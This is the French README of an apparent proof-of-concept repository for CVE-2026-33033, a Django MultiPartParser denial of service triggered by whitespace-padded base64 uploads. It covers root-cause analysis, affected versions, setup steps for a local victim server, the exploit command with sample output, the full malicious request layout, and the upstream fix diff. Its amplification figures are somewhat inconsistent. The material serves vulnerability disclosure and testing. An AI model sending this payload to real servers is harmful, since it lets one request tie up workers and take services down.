
Preuve de concept d'exploitation pour CVE-2026-33033, une vulnérabilité de déni de service dans le MultiPartParser de Django via l'amplification CPU des espaces en base64, démontrant une amplification d'environ 800x avec une seule requête HTTP.
Déni de service via amplification CPU par espaces blancs base64 dans MultiPartParser de Django
Une seule requête HTTP de 2,5 Mo peut monopoliser un worker Django pendant ~5 secondes, réalisant une amplification CPU d'environ ~2 100x par rapport à une requête normale de même taille. Aucune authentification n'est requise.
Cette vulnérabilité a été corrigée dans la version de sécurité Django 6.0.4 (7 avril 2026), ainsi que dans les backports vers toutes les branches prises en charge.
| Branche | Affectée | Corrigée |
|---|
| Django 6.0.x | <= 6.0.3 | 6.0.4 |
| Django 5.2.x | <= 5.2.11 | 5.2.12 |
| Django 5.1.x | <= 5.1.x | 5.1.16 |
| Django 5.0.x | <= 5.0.14 | 5.0.15 |
| Django 4.2.x | <= 4.2.28 | 4.2.29 |
CVE-2026-33033 : Vulnérabilité potentielle de déni de service dans
MultiPartParservia un téléversement de fichier encodé en base64 (Sévérité : Modérée)Lors de l'utilisation de
django.http.multipartparser.MultiPartParser, les téléversements multipart avecContent-Transfer-Encoding: base64contenant des espaces blancs excessifs peuvent déclencher des copies mémoire répétées, dégradant potentiellement les performances.
| CVE | Sévérité | Description |
|---|---|---|
| CVE-2026-3902 | Faible | Spoofing d'en-têtes ASGI via confusion underscore/tiret |
| CVE-2026-4277 | Faible | Abus de privilèges dans GenericInlineModelAdmin |
| CVE-2026-4292 | Faible | Abus de privilèges dans ModelAdmin.list_editable |
| CVE-2026-33034 | Faible | Contournement de la limite de mémoire des téléversements ASGI via absence de Content-Length |
Le MultiPartParser de Django possède un chemin de code spécial pour gérer les parties de fichier avec Content-Transfer-Encoding: base64. Après suppression des espaces blancs de chaque bloc, si le résultat n'est pas aligné sur un multiple de 4 octets, une boucle while appelle field_stream.read(1) pour récupérer des octets supplémentaires un par un.
Lorsque le corps du fichier est presque entièrement composé d'espaces blancs, chaque octet récupéré est réduit à rien, donc la boucle continue — appelant read(1) une fois par octet d'espace blanc. Le point crucial est que chaque read(1) est bien plus coûteux qu'il n'y paraît :
Couche 1 : la boucle d'alignement base64 appelle read(1) par octet d'espace blanc
|
Couche 2 : LazyStream.read(1) récupère tout le reste (~64 Ko), découpe 1 octet,
remet ~64 Ko - 1 en arrière --> copie d'octets O(C) par appel
|
Couche 3 : unget() fait self._leftover = bytes + self._leftover
créant un nouvel objet bytes à chaque fois --> memcpy de ~C octets
Par bloc de 64 Ko, le travail de copie forme une série arithmétique :
Total = (C-1) + (C-2) + ... + 1 = C(C-1)/2 ~ 2,15 milliards d'opérations sur octets
Pour une entrée de 2,5 Mo (~40 blocs) : ~86 milliards d'octets de travail memcpy à partir d'une seule requête HTTP.
Django inclut _update_unget_history() qui lève SuspiciousMultipartForm si le même nombre d'octets est remis en arrière 40 fois ou plus en 50 opérations. Cependant, dans cette attaque, les tailles de remise en arrière sont monotoniquement décroissantes (65535, 65534, 65533, ...), donc chaque taille est unique et la vérification ne se déclenche jamais.
Le middleware CSRF accède à request.POST avant l'exécution de toute vue, donc même les points de terminaison renvoyant 403 subissent le coût complet de l'analyse.
CVE-2026-33033-PoC/
├── README.md # Ce fichier
├── LICENSE
├── requirements.txt # Dépendances Python
├── exploit.py # Script d'exploitation
└── victim/ # Serveur Django vulnérable
├── manage.py
├── uwsgi.ini # Configuration de déploiement uWSGI
└── victim/
├── __init__.py
├── settings.py # Paramètres Django par défaut (aucune configuration spéciale requise)
├── urls.py # Points de terminaison /upload et /health
└── wsgi.py
git clone https://github.com/ch4n3-yoon/CVE-2026-33033-PoC.git
cd CVE-2026-33033-PoC
python3 -m venv venv
source venv/bin/activate
pip install -r requirements.txt
Option A : Serveur de développement Django (le plus rapide)
cd victim
python manage.py runserver 0.0.0.0:8000
Option B : uWSGI (plus réaliste — utilise 4 workers)
cd victim
uwsgi --ini uwsgi.ini
Dans un terminal séparé :
source venv/bin/activate
python exploit.py --target http://127.0.0.1:8000/upload
Options :
| Option | Défaut | Description |
|---|---|---|
--target | http://127.0.0.1:8000/upload | Point de terminaison de téléversement cible |
--size | 2621440 (2,5 Mo) | Taille de la charge utile en octets |
--rounds | 3 | Nombre de cycles d'attaque |
============================================================
CVE-2026-33033 PoC
Déni de service via amplification CPU par espaces blancs
base64 dans Django MultiPartParser
============================================================
Cible : http://127.0.0.1:8000/upload
Taille de la charge utile : 2 621 440 octets (2,5 Mo)
Cycles : 3
[*] Vérification de la santé du serveur...
[+] Le serveur est opérationnel.
------------------------------------------------------------
[*] Phase 1 : Envoi d'une requête BÉNIGNE (données base64 normales)
------------------------------------------------------------
Statut : 200
Temps : 5,55 ms
------------------------------------------------------------
[*] Phase 2 : Envoi de requêtes MALVEILLANTES (base64 + espaces blancs)
------------------------------------------------------------
Cycle 1/3 :
Statut : 200
Temps : 4571,12 ms
...
============================================================
RÉSULTATS
============================================================
Requête bénigne : 5,55 ms
Moyenne d'attaque : 4571,12 ms (sur 3 cycles)
Amplification : 823x
[!] VULNÉRABLE : Le temps d'attaque moyen dépasse 1 seconde.
Une seule requête de 2,5 Mo monopolise un worker pendant ~4,6 s.
Avec 4 workers, seulement 4 requêtes concurrentes peuvent faire tomber le serveur.
L'exploit construit un corps POST multipart/form-data avec une seule partie de fichier :
POST /upload HTTP/1.1
Content-Type: multipart/form-data; boundary=----CVE2026-33033
Content-Length: 2621552
------CVE2026-33033
Content-Disposition: form-data; name="file"; filename="poc.bin"
Content-Type: application/octet-stream
Content-Transfer-Encoding: base64
AAA<2 621 433 espaces>A
------CVE2026-33033--
AAA initial fait que stripped_chunk = b"AAA" (3 octets), donc remaining = 3 % 4 = 3.field_stream.read(1) pour récupérer 1 octet supplémentaire pour l'alignement.b"".join(b" ".split()) == b""), maintenant remaining = 3.LazyStream.read(1) copie en interne ~64 Ko via le mécanisme unget.django/http/multipartparser.py, lignes 302-325 (Django 5.0.x) :
for chunk in field_stream:
if transfer_encoding == "base64":
stripped_chunk = b"".join(chunk.split())
remaining = len(stripped_chunk) % 4
while remaining != 0:
over_chunk = field_stream.read(4 - remaining) # <-- read(1)
if not over_chunk:
break
stripped_chunk += b"".join(over_chunk.split()) # réduit à vide
remaining = len(stripped_chunk) % 4 # reste à 3
Le correctif (appliqué dans Django 6.0.4 / 5.2.12 / 5.1.16 / 5.0.15 / 4.2.29) remplace la boucle read(1) par octet par un read(self._chunk_size) en bloc :
- stripped_chunk = b"".join(chunk.split())
+ stripped_parts = [b"".join(chunk.split())]
+ stripped_length = len(stripped_parts[0])
- remaining = len(stripped_chunk) % 4
- while remaining != 0:
- over_chunk = field_stream.read(4 - remaining)
+ while stripped_length % 4 != 0:
+ over_chunk = field_stream.read(self._chunk_size)
if not over_chunk:
break
- stripped_chunk += b"".join(over_chunk.split())
- remaining = len(stripped_chunk) % 4
+ over_stripped = b"".join(over_chunk.split())
+ stripped_parts.append(over_stripped)
+ stripped_length += len(over_stripped)
+
+ stripped_chunk = b"".join(stripped_parts)
Changements clés :
read(4 - remaining) → read(self._chunk_size) — lit 64 Ko à la fois au lieu de 1 à 3 octets, réduisant les appels de lecture de ~2,5 millions à ~40.stripped_chunk += ... → stripped_parts.append(...) + b"".join() final — évite une concaténation d'octets potentiellement quadratique.len(stripped_chunk) % 4 → compteur stripped_length — évite un recalcul redondant de la longueur.Cette preuve de concept est fournie uniquement à des fins éducatives et de tests de sécurité autorisés. Utilisez-la de manière responsable et uniquement contre des systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite de test.
Licence Apache 2.0 — voir LICENSE.